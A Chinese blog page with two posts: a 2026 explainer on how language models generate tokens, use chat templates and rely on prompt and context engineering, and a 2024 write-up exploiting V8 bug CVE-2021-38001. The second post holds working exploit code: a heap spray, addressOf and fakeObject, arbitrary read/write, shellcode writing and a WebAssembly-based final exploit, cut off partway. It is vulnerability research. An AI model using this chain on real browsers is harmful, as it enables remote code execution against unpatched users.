Static's blog

Generative AI (1) --- 原理

2026-08-16T13:30:00.000Z

如今工作已经完全离不开AI了，gpt、Claude、Gemini（~~美国大豆包~~）、deepseek等各种🐂🍺模型，从事计算机行业的应该都可以感受到AI的强大。而且各种概念层出不穷，从最初的 prompt engineering、context engineering 再到现在的 harness、loop、graph engineering，每过几个月那些热门AI项目就已经不再新颖，以至于有些老套。甚至有种学得慢就不用学了的感觉，但越是这样就更应该深入根本，而不是被带着跑，从基础来构建起对我们目前常用的AI工作方式的认知。

本系列文章计划不深究算法，而是构建起对原理的认知。

Generative AI是什么？

这里使用 deepseek 给出的回答：

生成式人工智能（Generative AI），简单来说，就是一种能够根据你的指令（提示词），“创作”出全新内容的人工智能。这个“内容”不限于文字，还包括图像、视频、音频、代码甚至3D模型。
1. 它和传统AI有什么区别？（核心定义）
传统AI（判别式AI）主要做“判断题”和“选择题”——比如识别图片里是猫还是狗、判断一封邮件是不是垃圾邮件。它只能分析已有数据，无法创造新数据。
而生成式AI做的是“论述题”和“创作题”——它通过学习海量数据中的规律（比如语法、色彩搭配、代码逻辑），然后从零生成一个从未存在过的新输出。
2. 它是怎么工作的？（通俗比喻）
你可以把它想象成一个**“被逼着看了无数本名著后开始自己写小说的人”**。
训练阶段：工程师喂给它近乎全网的公开文本、图片、声音。它并不“记住”这些文件，而是学习其中的概率关系（比如“你好”后面大概率跟着“吗”或“世界”）。
生成阶段：当你给它指令（Prompt）时，它不是“搜索”数据库找答案，而是一个字一个字地“猜”（预测）最合理、最符合你要求的下一个字/像素点，直到生成完整的句子或图片。

简单来说，就是一个根据给定输入来创作出全新内容的机器，而输入可以是任何内容（文字/图像/视频/语音，甚至于感官信息等）。我们可以把模型看作一个函数 ƒ，输入即 x，那么下一个token就是 𝑓(x)。模型不断生成token的过程就是循环计算 𝑓(x) 又将结果作为 x 继续加入运算的过程，直到输出最后的终止token。

语言模型运作原理

在我们向语言模型输入一段话时，它并不是去查资料找答案，而是通过你给定的输入去预测下一个token，一般来说会产生下一个token的概率预测表，然后选取概率最大的那一个（当然并不一定，你可以通过一些参数来修改其可能输出的token，例如Top K/Top P/Temperature，这些后续再说）。

这里使用 colab，通过调用 hugging face 中的openbmb/MiniCPM5-1B来运行一下看看是不是这样（为什么选这个模型？？因为参数小，colab免费的T4 GPU能带动）。首先加载模型，并准备好 tokenizer 和 model，tokenizer即分词器，记录了模型所使用的全部token，model则储存了模型的参数。

from transformers import AutoTokenizer, AutoModelForCausalLM

model_id = "openbmb/MiniCPM5-1B"
tokenizer = AutoTokenizer.from_pretrained(model_id)
model = AutoModelForCausalLM.from_pretrained(model_id)

可以看一下tokenizer的词表大小是多少

1
2
3

print("该模型可选择的 token 数量为：", tokenizer.vocab_size)

该模型可选择的 token 数量为：130072

换一个模型google/gemma-3-1b-it，可以看到他的词表大小是 262144。

每一个token都会有1个编号，例如这里我们从0开始打印前几个token。可以看到一些内置标记token，例如就是开始和终止标记，是工具调用标记，后面两个分别是消息分隔和代码填充标记。

1
2
3

print(tokenizer.decode([0,1,2,3,4,5]))

<|im_sep|><|fim_prefix|>

通过 encode 和 decode 可以将token和对应id进行转换，例如：

text = "大家好"
tokens = tokenizer.encode(text, add_special_tokens=False)
# 这里的 add_special_tokens 就是是否要给text加上一些标记
print(text ,"->", tokens)
# 输出为：大家好 -> [9777, 1309]

# 如果 add_special_tokens 为 true，则输出为 大家好 -> [0, 9777, 1309]

# 我们可以 decode 对应 id 看看
print(tokenizer.decode(9777), tokenizer.decode(1309))
# 输出为 大家 好

接下来我们调用model来进行 token 生成，每次可以生成一个token。如图所示，就是我们从输入 prompt 到最终 model 输出一个 token 的过程。可以看到模型接收的从来不是我们原来的 prompt 内容，而是经过 tokenizer 编码之后的内容（图像/语音/视频生成模型也是如此，只不过是编码的方式与被编码的内容不同）。代码展示了当我们输入 1+1= 之后，模型会输出的下一个token的概率分布，可以看到概率最高的就是正确答案 2。

prompt = "1+1="
print("输入的 prompt 是:", prompt)

input_ids = tokenizer.encode(prompt, return_tensors="pt")
print("这是 model 可以读取的输入：",input_ids)

outputs = model(input_ids)

last_logits = outputs.logits[:, -1, :]
probabilities = torch.softmax(last_logits, dim=-1)

top_k = 10
top_p, top_indices = torch.topk(probabilities, top_k)
print(f"概率最高的前 {top_k} 名 token:")
for i in range(top_k):
    token_id = top_indices[0][i].item()
    probability = top_p[0][i].item()
    token_str = tokenizer.decode(token_id)
    print(f"Token ID: {token_id}, Token: '{token_str}', 概率: {probability:.4f}")


""" 结果为：
输入的 prompt 是: 1+1=
这是 model 可以读取的输入，就是prompt中每一个token对应的id： tensor([[ 0, 38, 32, 38, 50]])
概率最高的前 10 名 token:
Token ID: 39, Token: '2', 概率: 0.9609
Token ID: 242, Token: ' ', 概率: 0.0065
Token ID: 2846, Token: '02', 概率: 0.0039
Token ID: 557, Token: '10', 概率: 0.0016
Token ID: 873, Token: '22', 概率: 0.0016
Token ID: 38, Token: '1', 概率: 0.0014
Token ID: 491, Token: '20', 概率: 0.0013
Token ID: 52, Token: '?', 概率: 0.0008
Token ID: 40, Token: '3', 概率: 0.0008
Token ID: 1734, Token: '202', 概率: 0.0006
"""

基于上述代码，我们还可以通过循环来重复生成token，就形成了类似流式输出的形式。如下代码会循环生成后续 16 个token，并总是取概率最高的 token。可以看到输出中生成 2 之后就开始生成结束标记，一般来说，当我们检索到这样的结束符就应该终止，而不应该继续让模型生成下一个token。

prompt = "1+1="
length = 16

for t in range(length):
  print("现在的 prompt 是:", prompt)
  input_ids = tokenizer.encode(prompt,return_tensors="pt")

  outputs = model(input_ids)
  last_logits = outputs.logits[:, -1, :]
  probabilities = torch.softmax(last_logits, dim=-1)
  top_p, top_indices = torch.topk(probabilities, 1)
  token_id = top_indices[0][0].item()
  token_str = tokenizer.decode(token_id)
  print("下一个 token 是:", token_str)

  prompt = prompt + token_str
  
  
"""
现在的 prompt 是: 1+1=
下一个 token 是: 2
现在的 prompt 是: 1+1=2
下一个 token 是: 

现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
现在的 prompt 是: 1+1=2

下一个 token 是: 
"""

当然我们上面使用的是概率最高的token，如果我们是完全按照概率分布在token中选择，那么会发生什么呢？可以看到模型在接出 2 之后仍然继续生成了一堆我们看不懂的tokenQuestion: ferri - leeh + bleh > leeh。如果我们运行多次，就会发现每次生成的结果都不一致，而且都表意不明（~~何意味~~）。

prompt = "1+1="
length = 16

for t in range(length):
  print("现在的 prompt 是:", prompt)
  input_ids = tokenizer.encode(prompt,return_tensors="pt")

  outputs = model(input_ids)
  last_logits = outputs.logits[:, -1, :]
  probabilities = torch.softmax(last_logits, dim=-1)

  #top_p, top_indices = torch.topk(probabilities, 1)
  #token_id = top_indices[0][0].item()
  token_id = torch.multinomial(probabilities, num_samples=1).squeeze()

  token_str = tokenizer.decode(token_id)
  print("下一个 token 是：\n", token_str)

  prompt = prompt + token_str
  
  
"""
现在的 prompt 是: 1+1=
下一个 token 是：
 2
现在的 prompt 是: 1+1=2
下一个 token 是：
 

现在的 prompt 是: 1+1=2

下一个 token 是：
 Question
现在的 prompt 是: 1+1=2
Question
下一个 token 是：
 :
现在的 prompt 是: 1+1=2
Question:
下一个 token 是：
  fer
现在的 prompt 是: 1+1=2
Question: fer
下一个 token 是：
 ri
现在的 prompt 是: 1+1=2
Question: ferri
下一个 token 是：
  -
现在的 prompt 是: 1+1=2
Question: ferri -
下一个 token 是：
  le
现在的 prompt 是: 1+1=2
Question: ferri - le
下一个 token 是：
 eh
现在的 prompt 是: 1+1=2
Question: ferri - leeh
下一个 token 是：
  +
现在的 prompt 是: 1+1=2
Question: ferri - leeh +
下一个 token 是：
  ble
现在的 prompt 是: 1+1=2
Question: ferri - leeh + ble
下一个 token 是：
 h
现在的 prompt 是: 1+1=2
Question: ferri - leeh + bleh
下一个 token 是：
  >
现在的 prompt 是: 1+1=2
Question: ferri - leeh + bleh >
下一个 token 是：
  le
现在的 prompt 是: 1+1=2
Question: ferri - leeh + bleh > le
下一个 token 是：
 eh
现在的 prompt 是: 1+1=2
Question: ferri - leeh + bleh > leeh
下一个 token 是：
  +
"""

显然我们可以想到，如果只是选择概率最高的token，那么会造成回复死板，这在一些需要创意的生成上很不实用。而如果按照概率分布来做又会导致模型输出太过随机，无法在严谨的场景下生成正确结果。为了解决这个问题，就引入了 top K/top P/temperature 等超参数。这里简单解释：

Top K: 在选取token时，只会在概率前K名的token中选取，排名第K名之后的token直接被剔除，概率归零。
Top P: 按概率从高到低往下累加，直到累计概率加起来刚好达到阈值 P，就在这个动态的“概率池”里选取。
Temperature: 调整概率分布的“陡峭”程度，控制模型是“死磕最优解”还是“四处瞎逛”。Temperature=1 即保持原始概率，而 <1 则会增大高概率 token 与低概率 token 之间的差距（模型生成更单一），> 1 则会减小高概率 token 与低概率 token 之间的差距（模型生成更多样）。

接下来我们使用我是这个 prompt 来进行测试，首先来看设置 Top K = 3 时的输出，这代表了每次选取仅从概率最高的前3个token中按照概率分布选取。

设置 Top P = 0.85，这代表了仅选取概率分布前几个概率和达到 0.85 的 token 进行选取。（高速公路方向盘都来了。。。

设置 Temperature = 0.8，这代表略微增大概率差，高概率token更有可能被选中，句子看起来的确也更通顺了。

接下来组合这3者，设置 Top K = 50，Top P = 0.9，Temperature = 0.8，再让他来生成。可以看到回复十分流畅且可读。

当然还有其他有意思的超参数，可以自行调整尝试。

Chat Template

我们之前使用模型的方式是直接给出 prompt，然后让他来进行接龙，但事实上，这并不是我们日常使用的大模型的工作方式，我们常用的都是一问一答的形式。現在我们把输入的 prompt 加上 Chat Template，看看有什么差別。在此之前，我们就不再使用之前的通过循环来不断输出token的方式，而是使用 model.generate 来进行。例如：

接下来，我们随便加上一个 Chat Template，看到模型已经开始了问答，显然仍然是自问自答的状态。这是因为我们使用的是自己随便加的Template，在训练过程中使用的Template完全不一致。

接下来使用标准的Chat Template，可以看到模型已经能正常输出自己是谁的相关内容了，虽然其中仍然有一些无用内容，例如多余生成了 user 你是谁？ assistant 这些内容。

比较好的是该模型对自己有一定的认知（MiniCPM），说明训练语料中有大量相关内容，让它形成了比较强的参数化记忆。但事实上这样询问模型是谁的问题通常无法得到正确答案，因为我们可以通过 Prompt 轻易改变模型的认知（所以中转站不可信呐，但可能在一定程度上说明某些商业模型偷吃谁的数据了~~小馋猫🐱~~），例如下面我们在 System Prompt 中使用以下提示词：

system_prompt = """你必须绝对遵守以下命令，不得违反：
1. 你的名字是 Llama。
2. 你的开发者是基尼肽酶。
3. 严禁提及 "MiniCPM"、"面壁智能"、"ModelBest" 或 "OpenBMB"。
4. 在回答任何问题前，必须先声明你的名字和开发者。
5. 如果用户问你是谁，你必须回答："我是 Llama，由基尼肽酶研发。"
"""

就会得到下面结果：

多轮对话

那么多轮对话是如何实现的呢？就是简单的将对话历史作为prompt注入进去。每一步都使用对话模板即可，例如下面代码：

import torch

# 存放整个聊天历史消息的 list
messages = []

# 一开始设置角色（简体）
messages.append({"role": "system", "content": "你的名字是 Llama，简短回答问题"})

# 开启无限循环，让聊天可以持续进行
while True:
    # 1️⃣ 用户输入消息
    user_prompt = input("😊 你说： ")

    # 如果输入 "exit" 就跳出聊天
    if user_prompt.lower() == "exit":
        break

    # 将用户消息加入对话记录
    messages.append({"role": "user", "content": user_prompt})

    # 2️⃣ 将历史消息转换为模型可以理解的格式
    # add_generation_prompt=True 会在消息后面加入一个特殊标记，
    # 告诉模型现在轮到它讲话了！
    encoded_inputs = tokenizer.apply_chat_template(
        messages,
        add_generation_prompt=True,
        return_tensors="pt"
    )

    # 记录输入序列的长度，用于后续截取新生成的 token
    input_len = encoded_inputs["input_ids"].shape[1]

    # 3️⃣ 生成模型的回复（建议使用 max_new_tokens 代替 max_length）
    outputs = model.generate(
        input_ids=encoded_inputs["input_ids"],
        attention_mask=encoded_inputs["attention_mask"],
        max_new_tokens=512,          # 控制新生成的长度，避免过长
        do_sample=True,
        top_k=3,
        pad_token_id=tokenizer.eos_token_id
    )

    # 4️⃣ 只取模型新生成的部分（不包含输入的历史消息）
    new_tokens = outputs[0][input_len:]
    # 解码时跳过特殊标记（如 <|im_start|>, <|im_end|> 等）
    response = tokenizer.decode(new_tokens, skip_special_tokens=True)

    # 额外去除可能出现的 ... 块（MiniCPM 等模型会生成）
    if '' in response and '' in response:
        # 取  之后的内容
        response = response.split('', 1)[-1].strip()
    # 去除多余的空白
    response = response.strip()

    # 5️⃣ 显示模型的回复
    print("🤖 助理说：", response)

    # 将模型回复加入对话记录，让下次模型知道之前的对话内容
    messages.append({"role": "assistant", "content": response})

这样就是一个简单的类似于网页版AI的带有上下文的问答模式了。

当然我们可以直接使用 pipeline 代替我们之前手动加入模板进行 tokenizer 编码并传入模型的过程，即将下图中我们手动拼接的过程 pipeline 化：

from transformers import pipeline

# 加载模型（注意模型ID正确）
model_id = "openbmb/MiniCPM5-1B"
pipe = pipeline("text-generation", model=model_id)

# 系统提示（可以自由修改）
messages = [{"role": "system", "content": ""}]

while True:
    user_prompt = input("😊 你说： ")
    if user_prompt.lower() == "exit":
        break

    messages.append({"role": "user", "content": user_prompt})

    # 调用 pipeline 生成回复
    outputs = pipe(
        messages,
        max_new_tokens=512,          # 不要设2000，除非真的很长，否则浪费
        pad_token_id=pipe.tokenizer.eos_token_id
    )

    # 提取最新一条助手回复
    raw_response = outputs[0]["generated_text"][-1]['content']

    # ---------- 去除  块 ----------
    if "" in raw_response and "" in raw_response:
        # 只取  之后的内容，并去掉首尾空白
        clean_response = raw_response.split("", 1)[-1].strip()
    else:
        clean_response = raw_response.strip()

    print("🤖 助理说：", clean_response)
    messages.append({"role": "assistant", "content": clean_response})

Prompt Engineering

提示词工程（Prompt Engineering），简单来说，就是设计和优化输入给大语言模型（LLM）的文本（即“提示词”），以引导模型输出符合我们期望的结果。

大概是24年的时候，实习时候需要上手做过一个项目（实际上也没怎么做😂），叫做“基于AI大模型的漏洞挖掘技术研究”，听起来很高大上（~~就现在看来，完全就是一个cjb~~），实际上就是利用大模型来进行代码审计，发现其中可能存在的缺陷。因为当时的模型水平大多很拉，而且无法进行长上下文的思考（其实还有就是~~穷学生用不起当时的顶级模型API~~，毕竟只是一个探索研究项目，就用了免费模型），所以这个项目的实际流程就是先利用tree sitter将要分析的代码部分解析成抽象语法树，这是为了将代码结构化然后进行关键词检索（不论是函数名检索还是函数体检索都比较方便，例如筛出关键词 key 来找敏感信息泄露，筛出 malloc/free 来找UAF等）；这样筛出来之后就可以缩小模型分析范围，毕竟不能像现在一样可以将整个代码库都塞进去，让模型自己遨游。

在筛完之后，我们就有了一个初始目标函数集，然后该怎么做呢？通过 prompt engineering 直接将每一个函数都塞进提示词中，单独调API，没有多轮对话，也没有上下文工程。所以重点工作其实就在 prompt 调优上，设计了拥有以下原则的 prompt：

给模型正确的角色定义和所负责的工作。（你是一名网络安全工程师，你会进行代码审计与漏洞挖掘。接下来你需要对一些代码进行审计，需要审计的漏洞类型有：敏感信息泄露、缓冲区溢出…… blablabla…）
逐步教会模型该如何做这件事。（审计工作分为以下3步（UAF）：1. 寻找函数中的 malloc 族内存分配函数，如果存在，则进入步骤2，否则退出。 2. 分析每一个出口分支，如果存在某分支调用 free 族相关函数释放对应内存，则进入步骤3。3. …… blablabla）
要求模型结构化输出。（你必须按照如下格式输出： Put source file path here. \n Put source code here. \n whether vuln exist or not?(yes/no) \n Put your explaination here. ）
给模型相关判断示例。（如下为几个示例：示例一：……blablabla 示例二：……blabla ……）

大概就是上面这样的操作步骤，这样构建起一个具有结构的提示词，就是提示词工程。当然这个项目没有做过任何评测，最终效果也是一言难尽（~~依托答辩~~）。

更多相关提示词工程方法可以查看：https://www.promptingguide.ai/zh

Context Engineering

A\的解释是这样的：上下文工程（Context Engineering）是提示词工程（Prompt Engineering）的自然演进。提示词工程指的是通过编写和组织 LLM 指令来获得最佳输出的方法。而上下文工程是指在 LLM 推理过程中，精选并维护最佳 Token（信息）集合的一系列策略，这涵盖了提示词之外所有可能进入上下文的信息。

At Anthropic, we view context engineering as the natural progression of prompt engineering. Prompt engineering refers to methods for writing and organizing LLM instructions for optimal outcomes (see our docs for an overview and useful prompt engineering strategies). Context engineering refers to the set of strategies for curating and maintaining the optimal set of tokens (information) during LLM inference, including all the other information that may land there outside of the prompts.

为什么要做上下文工程？

简单来说就是因为LLM基于 transformer 架构，而 transformer 架构允许每个 token 关注上下文中的每一个 token，这就导致了 n 个token之间会产生 n² 个关系。随着上下文的增加，模型注意力被稀释，最终答案的准确性也就会降低。

另外，2023年7月有一篇论文《Lost in the Middle: How Language Models Use Long Contexts》研究了一个关于LLM处理长文本的重要发现。他发现当模型需要处理很长的上下文时，它的表现会强烈依赖关键信息所处的位置。具体来说，模型的表现呈现一个 “U型曲线”。即：

开头 (Primacy)：当关键信息放在输入的开头时，模型的表现最好。
结尾 (Recency)：当关键信息放在输入的结尾时，模型的表现也很好。
中间 (Lost)：但是，当关键信息被放置在上下文的中间位置时，模型的表现会显著下降。这就像一个“信息黑洞”，模型很难有效地从中提取和使用信息。

当然这篇论文已经很早了，但该问题仍然存在，多数研究认为这是 transformer 架构本身的问题，因果注意力机制（Causal Masking）天然地让模型更关注靠前的位置；而残差连接（Residual Connections）则让最后一个Token成为一个信息“锚点”。这两种机制共同作用，导致了中间位置的“信息死角”。（这两个名词的意思可以自行搜索）

上下文工程的常用方法？

选择（Select）：即现在的RAG，通过向量检索只选择和用户问题最相关的内容拼接。有一种方法是 memory RAG，它将对话历史作为被检索对象，每次只从记忆中检索最相关的信息。
压缩（Compress）：将接近上下文窗口上限的对话进行内容概括，然后用概括后的内容重新创建一个新的上下文窗口。当然有一个很重要的问题就是如何确保压缩不会丢失信息，压缩哪些内容是最优解？
多智能体（Multi-Agent）：派遣子代理去执行具体的某一件事，执行完将摘要返回给主代理，这样做每一件事的时候都会是干净的上下文，而且主代理也不会被每一件独立的事情中间内容（错误处理、工具调用等）充满其上下文。
笔记（Note）：让模型定期记录笔记落盘重要事项，现在Chatgpt那些应用中的长期记忆应该就是这么实现的，通过记录重要内容到会话外的一个文件中，让智能体可以跨会话的记得一些重要内容（例如你的个人习惯等）。

结语

大模型的本质，就是一个”预测下一个 token”的接龙游戏——你喂给它什么，它顺着概率往下猜什么，仅此而已。所谓”理解”、”思考”，不过是海量语料训练出来的统计规律。

在这个底层认知之上，前面那些概念就都串起来了：

Tokenizer：决定”接龙字母表”长什么样，以及怎么把文本切分成模型认识的 token；
采样参数：Top K / Top P / Temperature 只是调节”死磕最优解”和”四处瞎逛”之间的旋钮；
Chat Template / 多轮对话：本质都是往输入里拼东西，告诉模型”现在轮到谁说话、之前聊了什么”；
Prompt / Context Engineering：一个管”怎么说”，一个管”给模型看什么”，目的都一样——让这个只会接龙的模型，输出我们想要的结果。

至于最近越来越火的 harness、loop、graph engineering，说白了就是把”输入决定输出”这件事做得更系统、更自动化，底层原理并没有变。

参考资料

https://www.youtube.com/watch?v=TigfpYPJk1s
https://www.youtube.com/watch?v=lVdajtNpaGI
https://www.promptingguide.ai/zh
https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents

本文由 Deepseek 辅助校对。图片由 Gemini 友情生成。

V8利用(4)-CVE-2021-38001

2024-11-23T13:30:00.000Z

环境配置

漏洞介绍页面，在该页面可以看到POC和writeup，issue编号为1260577

受影响的Chrome最高版本为：95.0.4638.54
受影响的V8最高版本为：9.5.172.21

我这里装的是9.5.172.10版本

POC

该POC为Hcamael优化后的POC

import('./1.mjs').then((m1) => {
    var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
        f64[0] = v;
        return u32;
}
function u2d(lo, hi) {
        u32[0] = lo;
        u32[1] = hi;
        return f64[0];
}
function ftoi(f)
{
    f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
    class C {
m() {
return super.x;
}
}
    obj_prop_ut_fake = {};
    for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
    }
    C.prototype.__proto__ = m1;
    function trigger() {
        let c = new C();

        c.x0 = obj_prop_ut_fake;
        let res = c.m();
        return res;
}
    for (let i = 0; i < 10; i++) {
        trigger();
    }
    let evil = trigger();
    %DebugPrint(evil);
});

其中1.mjs为

1
2
3

export let x = {};
export let y = {test:1};
export let z = {};

这个1.mjs的内容挺重要的，会导致你复现不出来

漏洞测试

直接运行POC，可以看到如下结果

1	DebugPrint: Smi: 0x20202021 (538976289)

因为在代码不变的情况下，每个对象的低32bit地址基本不变，因此可将设定的值设为一个对象的低32bit地址，运行

DebugPrint: 0x55008049ce9: [JSArray]
 - map: 0x055008203ae1  [FastProperties]
 - prototype: 0x0550081cc0e9 
 - elements: 0x055008049cd9  [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x05500800222d 
 - All own properties (excluding elements): {
    0x550080048f1: [String] in ReadOnlySpace: #length: 0x05500814215d  (const accessor descriptor), location: descriptor
 }
 - elements: 0x055008049cd9  {
           0: 2.1
 }
0x55008203ae1: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x055008203ab9 
 - prototype_validity cell: 0x055008142405 
 - instance descriptors #1: 0x0550081cc59d 
 - transitions #1: 0x0550081cc5e9 Transition array #1:
     0x05500800524d : (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x055008203b09 

 - prototype: 0x0550081cc0e9 
 - constructor: 0x0550081cbe85 
 - dependent code: 0x0550080021b9 
 - construction counter: 0

可以发现，将其解析为对象了，那么如果在某地址存在一个伪造对象，将设定的值设置为该伪造对象的地址，那么我们就可以通过该伪造对象进行任意地址读写了，但一个重要的问题是我们如何得到地址。此时就需要使用堆喷技术了

V8下的堆喷

V8的堆内存一般为如下内存段

0x1f4a00000000     0x1f4a00003000 rw-p     3000      0 [anon_1f4a00000]
0x1f4a00003000     0x1f4a00004000 ---p     1000      0 [anon_1f4a00003]
0x1f4a00004000     0x1f4a0001a000 r-xp    16000      0 [anon_1f4a00004]
0x1f4a0001a000     0x1f4a0003f000 ---p    25000      0 [anon_1f4a0001a]
0x1f4a0003f000     0x1f4a08000000 ---p  7fc1000      0 [anon_1f4a0003f]
0x1f4a08000000     0x1f4a0802a000 r--p    2a000      0 [anon_1f4a08000]
0x1f4a0802a000     0x1f4a08040000 ---p    16000      0 [anon_1f4a0802a]
0x1f4a08040000     0x1f4a0814d000 rw-p   10d000      0 [anon_1f4a08040]
0x1f4a0814d000     0x1f4a08180000 ---p    33000      0 [anon_1f4a0814d]
0x1f4a08180000     0x1f4a08183000 rw-p     3000      0 [anon_1f4a08180]
0x1f4a08183000     0x1f4a081c0000 ---p    3d000      0 [anon_1f4a08183]
0x1f4a081c0000     0x1f4a08240000 rw-p    80000      0 [anon_1f4a081c0]
0x1f4a08240000     0x1f4b00000000 ---p f7dc0000      0 [anon_1f4a08240]

可以发现堆内存是连续的，从0x1f4a08240000开始的0xf7dc0000大小的内存便是还未分配的堆内存，查看未分配内存的前0x80000大小内存可以看到

pwndbg> x/16gx 0x1f4a081c0000
0x1f4a081c0000:0x00000000000400000x0000000000000004
0x1f4a081c0010:0x0000558d5eb2db380x00001f4a081c2118
0x1f4a081c0020:0x00001f4a082000000x000000000003dee8
0x1f4a081c0030:0x00000000000000000x0000000000002118
0x1f4a081c0040:0x0000558d5ebafee00x0000558d5eb1fb80
0x1f4a081c0050:0x00001f4a081c00000x0000000000040000
0x1f4a081c0060:0x0000558d5ebade200x0000000000000000
0x1f4a081c0070:0xffffffffffffffff0x0000000000000000

在V8的堆块结构中，首部8字节代表该堆块大小，其中的0x2118代表有这些大小存储堆块信息，那么可用大小就是0x3dee8。

其结构大致为

+0   : 堆块size
+0x18: 堆块可用内存开始地址
+0x20: 下一个堆块
+0x28: 可用空间
+0x38: 堆块信息占用空间

使用如下代码进行测试，查看内存段，可以发现之前0x80000大小的内存区域不断增加

var test1 = Array(0xf700);
%DebugPrint(test1);
%SystemBreak();

var test2 = Array(0xf700);
%DebugPrint(test2);
%SystemBreak();

var test3 = Array(0xf700);
%DebugPrint(test3);
%SystemBreak();

代码中Array(0xf700)，在V8中一个内存占4字节，则总长度为0xf700*4+0x2118 = 0x3fd18，在对齐后便为0x40000大小。对应内存区域变化如下

0x26a0081c0000     0x26a008280000 rw-p    c0000      0 [anon_26a0081c0]
0x26a008280000     0x26a100000000 ---p f7d80000      0 [anon_26a008280]

0x26a0081c0000     0x26a0082c0000 rw-p   100000      0 [anon_26a0081c0]
0x26a0082c0000     0x26a100000000 ---p f7d40000      0 [anon_26a0082c0]

0x26a0081c0000     0x26a008300000 rw-p   140000      0 [anon_26a0081c0]
0x26a008300000     0x26a100000000 ---p f7d00000      0 [anon_26a008300]

查看test1 test2 test3的对象内存，发现其elements指针都是对应内存空间+0x2119。

1
2
3

0x33ac080499e4:0x08203ab90x0800222d0x082421190x0001ee00
0x33ac080499f4:0x08203ab90x0800222d0x082821190x0001ee00
0x33ac08049a04:0x08203ab90x0800222d0x082c21190x0001ee00

这意味着我们不需要泄露也可以很轻易的命中某个对象的elements内存。

漏洞利用

这个过程整得我有点sb，BigInt转number时的精度丢失调了我好久

堆喷

选取一个Array的elements内存区，例如0x82c2121（elements对应低2字节为0x2119，数据区为0x2119+8=0x2121）。然后在堆喷对象的数据区域进行伪造。

经过测试，我发现各种对象的map地址似乎是一个固定值，所以就直接进行赋值了。我这里似乎理解的不太对，看了其他师傅的复现发现都是只分配了一次，我是分配了0x100次，然后给每个都赋以相同的值，然后随便找一个来利用，写完exp才发现，不想改了:(

var double_array_map = 0x8203ae1;
var obj_array_map = 0x8203b31;
var spray_array = [];
for(let i = 0x0; i < 0x100; i++) {
        spray_array[i] = Array(0xf700);
        spray_array[i][0] = u2d(obj_array_map, 0);
        spray_array[i][1] = u2d(0x9042121+0x100*8, 2);
}

伪造对象的elements指向随便一个可写区域就行。

addressOf

function addressOf(target_var)
    {
        evil[0] = target_var;
        for(let i = 0; i < 0x100; i++)
            spray_array[i][0] = u2d(double_array_map, 0);
        let target_var_addr = ftoi(evil[0]) - 1n;
        for(let i = 0; i < 0x100; i++)
            spray_array[i][0] = u2d(obj_array_map, 0);
        return target_var_addr;
    }

fakeObject

function fakeObject(target_addr)
    {
        for(let i = 0; i < 0x100; i++)
            spray_array[i][0] = u2d(double_array_map, 0);
        evil[0] = itof(target_addr+1n);
        for(let i = 0; i < 0x100; i++)
            spray_array[i][0] = u2d(obj_array_map, 0);
        let fake_obj = evil[0];
        return fake_obj;
    }

AAR

var fake_array=[u2d(double_array_map, 0), itof(0x4141414141414141n)];
    function AAR(addr)
    {
        let fake_array_addr = bigint_to_number(addressOf(fake_array));
        var fake_object = fakeObject(BigInt(fake_array_addr)+0x4cn+8n);
        fake_array[1] = itof(0x200000000n+addr+1n-8n);
        return ftoi(fake_object[0]);
    }

AAW

function AAW(addr, value)
    {
        let fake_array_addr = bigint_to_number(addressOf(fake_array));
        var fake_object = fakeObject(BigInt(fake_array_addr)+0x4cn+8n);
        fake_array[1] = itof(0x200000000n+addr+1n-8n);
        fake_object[0] = itof(value);
    }

shellcode_write

function shellcode_write(addr,shellcode)
    { 
        var data_buf = new ArrayBuffer(shellcode.length*8);
        var data_view = new DataView(data_buf);
        var buf_backing_store_addr=addressOf(data_buf)+0x1cn;
        AAW(buf_backing_store_addr,addr);
        for (let i=0;ilength;++i)
                data_view.setFloat64(i*8,itof(shellcode[i]),true);
    }

最终exp

最后触发挺稳定的

import('./1.mjs').then((m1) => {
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
   
var double_array = [2.1];
var obj = {a:1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
        f64[0] = v;
        return u32;
}
function u2d(lo, hi) {
        u32[0] = lo;
        u32[1] = hi;
        return f64[0];
}
function ftoi(f)
{
    f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function bigint_to_number(b)
{
bigUint64[0] = b;
return u32[0];
}

var double_array_map = 0x8203ae1;
var obj_array_map = 0x8203b31;
var spray_array = [];
        for(let i = 0x0; i < 0x100; i++) {
spray_array[i] = Array(0xf700);
                spray_array[i][0] = u2d(obj_array_map, 0);
spray_array[i][1] = u2d(0x9042121+0x100*8, 2);
        }

    class C {
m() {
return super.x;
}
}
    obj_prop_ut_fake = {};
